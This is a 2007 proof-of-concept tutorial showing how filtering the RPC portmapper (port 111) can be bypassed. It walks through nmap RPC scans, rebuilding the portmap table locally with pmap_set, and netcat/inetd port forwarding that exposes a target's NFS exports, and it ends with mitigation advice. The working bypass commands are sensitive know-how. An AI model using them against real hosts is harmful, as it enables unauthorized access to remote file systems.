Bypass RPC portmapper filtering security PoC (Proof of Concept)

Table of contents:

David Routin
david.routin[at]linux-elite.org

1. Introduction

1.1 Portmapper overview

What is a portmapper ?
Portmapper is a kind of database that register Remote Procedure Call
services by RPC Services numbers, version numbers, tcp/udp ports, and protocols that have to be used (tcp or udp or boths). Portmapper always run on port 111 tcp/udp.
When clients want access to a service, they first contact the portmapper, and it tells them which port they should then contact in order to reach the desired service.
If portmapper is not present or not accessible the request will fail.
The problem with RPC is the weakness of security.
Many security problems have been related for RPC services (unauthorized accesses, overflows, spoofing etc...).

2. Firewalling my portmapper ?

2.1 Typical scheme of attack

Some administrators think that filtering portmapper (111 tcp/udp) from the outside keep their rpc services from being exploited by unauthorized persons.
This is false and we are going to prove it.

```
dav@hax:~$ nmap -sT 10.0.0.1

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-04-16
10:00 CEST
Interesting ports on knop (10.0.0.1):
Not shown: 1674 closed ports
PORT     STATE    SERVICE
111/tcp  filtered rpcbind
611/tcp  open     mountd
2049/tcp open     nfs
```

I can see on that list that rpcbind (portmapper) is filtered, but there is some working RPC services (mountd and nfs) !
Now we try to do a showmount to view the exports file list.

```
dav@hax:~$ showmount -e 10.0.0.1
mount clntudp_create: RPC: Port mapper failure - RPC: Unable to
receive
```

The request gives an error message.
This is normal because when the client ask the informations to the portmapper (it should give

the correct tcp/udp ports to connect to ...) for connecting to mountd (100005) service, the client can't continue because RPC portmapper don't give any answer. (what is normal because of the filtering)

3. Local portmapper emulation for remote penetration test

We know that portmapper is only act as a database to make the client reach
the desired services by giving it the corrects ports to use etc...
But we can't connect to it...

After thinking for a while i got an idea, what would happen if i try to
rebuilt the database on my own box and forward my local ports to the remote
server ?

I founded a way to do it without writing long C programs ...

3.1 What we need ?

- nmap
- netcat
- inetd
- portmap (installed on your computer)
- pmap_set

3.21 Step 1: Know exactly what is running and where

For that step we will use nmap with the option for RPC scan (-sR), in that
way nmap will give us the information on each ports, if it is RPC or not and what RPC service it is.
We do that because RPC service ports attribution is not static, sometimes
by example nfs will not be on 2049...
We have to scan very high ports because RPC services can register very high ports.
We will do it in two times first TCP followed by UDP.

```
dav@hax:~$ nmap -sR 10.0.0.1 -p 111-5000,20000-50000
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-04-16
13:45 CEST
Interesting ports on knop (10.0.0.1):
Not shown: 44884 closed ports
PORT      STATE SERVICE                    VERSION
111/tcp   filtered  rpcbind
611/tcp   open  mountd (mountd V1-3)        1-3 (rpc #100005)
2049/tcp  open  nfs (nfs V2-4)              2-4 (rpc #100003)
48745/tcp open  nlockmgr (nlockmgr V1-4)    1-4 (rpc #100021)
52502/tcp open  status (status V1)          1 (rpc #100024)
```

(Second scan (UDP) require root privileges)

```
dav@hax:~$ sudo nmap -sUR 10.0.0.1 -p 111-5000,20000-60000
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2007-04-16 13:49
Interesting ports on knop (10.0.0.1):
Not shown: 44882 closed ports
PORT      STATE         SERVICE                  VERSION
111/udp   filtered      rpcbind
608/udp   open          mountd (mountd V1-3)      1-3 (rpc #100005)
631/udp   open|filtered unknown
874/udp   open|filtered unknown
2049/udp  open          nfs (nfs V2-4)            2-4 (rpc #100003)
32768/udp open|filtered omad
32780/udp open          status (status V1)        1 (rpc #100024)
32781/udp open          nlockmgr (nlockmgr V1-4)  1-4 (rpc #100021)
```

3.22 Step 2: Reconstitution of the portmapper database

This step is very important, we are going to make a file containing all the portmap data as if we have done a "rpcinfo -p" without having been filtered by the firewall.

First check all the rpc services # we got from nmap:

```
100003
100005
100021
100024
```

Now we check the version:
for 10003 we have version 2 to 4 for tcp and the same for udp with ports 2049
so, in the final portmap data file you will write:

```
100003  2       tcp     2049    nfs
100003  3       tcp     2049    nfs
100003  4       tcp     2049    nfs
100003  2       udp     2049    nfs
100003  3       udp     2049    nfs
100003  4       udp     2049    nfs
```

we have to do that job for all RPC services # we have found.

So the final file will look something like this:
(don't forget to add the 100000 which is the portmapper registering number,
you need it to complete the exploitation to run your local portmap version)

```
100000  2       tcp      111    portmapper
100000  2       udp      111    portmapper
100003  2       tcp     2049    nfs
100003  3       tcp     2049    nfs
100003  4       tcp     2049    nfs
100003  2       udp     2049    nfs
100003  3       udp     2049    nfs
100003  4       udp     2049    nfs
100005  1       tcp     611     mountd
100005  2       tcp     611     mountd
100005  3       tcp     611     mountd
100005  1       udp     608     mountd
100005  2       udp     608     mountd
100005  3       udp     608     mountd
100021  1       tcp      48745  nlockmgr
100021  2       tcp     48745   nlockmgr
100021  3       tcp     48745   nlockmgr
100021  4       tcp     48745   nlockmgr
100021  1       udp     32781   nlockmgr
100021  2       udp     32781   nlockmgr
100021  3       udp     32781   nlockmgr
100021  4       udp     32781   nlockmgr
100024  1       tcp      52502     status
100024  1       udp      32780     status
```

Ok, now we have probably exactly rebuilt the portmap dump. (as if we were authorized to do a rpcinfo -p request on remote target)
Even if registering the same service several timed with different versions is not necessary it's good to make it just to rebuilt the exact dump.

Now start your local copy of portmap, and load the portmap data you have just created as root:

```
root@hax~# portmap
root@hax~# pmap_set < rpc_file_data
root@hax~#
```

Just have a look on your logs to see that everything is ok. (no messages)

Now if you do a rpcinfo query on your localhost you should have the same result as if you were querying the remote portmapper without any filter (we have reconstructed the database with what we have founded).

```
root@hax~# rpcinfo -p 127.0.0.1
program no_version protocole  no_port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  32780  status
    100024    1   tcp  52502  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
```

```
100021    1   udp  32781  nlockmgr
100021    3   udp  32781  nlockmgr
100021    4   udp  32781  nlockmgr
100003    2   tcp   2049  nfs
100003    3   tcp   2049  nfs
100003    4   tcp   2049  nfs
100021    1   tcp  48745  nlockmgr
100021    3   tcp  48745  nlockmgr
100021    4   tcp  48745  nlockmgr
100005    1   udp    608  mountd
100005    1   tcp    611  mountd
100005    2   udp    608  mountd
100005    2   tcp    611  mountd
100005    3   udp    608  mountd
100005    3   tcp    611  mountd
```

3.23 Step 3: Forwarding local RPC ports to remote target

For doing that job we will make some net pipes with inetd & netcat.

First, we get back the nmap result for tcp and udp we can see that we have tcp ports (rpc) opened:
611, 2049, 48745, 52502

and in udp:

608, 2049, 32780, 32781

Now we are just going to open that ports on our box and make them forward to the remote target in order to make all the requests to our portmapper and transparently be redirected to the remote host. yes it works ! ;)

ok now edit inetd-pentest file and add the following lines:

for tcp ports:

```
611   stream      tcp   nowait root /usr/sbin/tcpd    /bin/nc 10.0.0.1 611
2049  stream      tcp   nowait root /usr/sbin/tcpd    /bin/nc 10.0.0.1 2049
48745 stream      tcp   nowait root /usr/sbin/tcpd    /bin/nc 10.0.0.1 48745
52502 stream      tcp   nowait root /usr/sbin/tcpd    /bin/nc 10.0.0.1 52502

now for udp ports:
608   dgram udp   wait  root  /usr/sbin/tcpd    /bin/nc -u 10.0.0.1 608
2049  dgram udp   wait  root  /usr/sbin/tcpd    /bin/nc -u 10.0.0.1 2049
32780 dgram udp   wait  root  /usr/sbin/tcpd    /bin/nc -u 10.0.0.1 32780
32781 dgram udp   wait  root  /usr/sbin/tcpd    /bin/nc -u 10.0.0.1 32781
```

now kill and restart inetd

```
root@hax~# killall inetd
root@hax~# inetd ./inetd-pentest
```

Now all requests made by anything on the ports added in inetd will be forwarded to the remote host.

4 Exploitation

With what we have just done, all RPC requests (except portmapper) going through our server are forwarded to the remote target.

Sample:

we do a showmount on localhost (everything except the portmapper request is forwarded to 10.0.0.1):

```
root@hax~# showmount -e 127.0.0.1  (USE LOCAL ADRESS)
Export list for 127.0.0.1:
/    (everyone)
```

The exports list you can see is not the one of 127.0.0.1 but this is the 10.0.0.1 exports list.
You can also mount the remote filesystem.

And we can use probably every RPC services by that way.

We have done the job of the remote portmapper with our system and now the remote RPC services are accessible.

So we were able to bypass the remote portmapper filtering security.

The best way to avoid that problem :
- remove RPC services from your servers
- filter the tcp/udp ports of RPC services properly
- use everything behind a firewall or with a VPN

David Routin
System/Network/Security Administrator
david.routin[at]linux-elite.org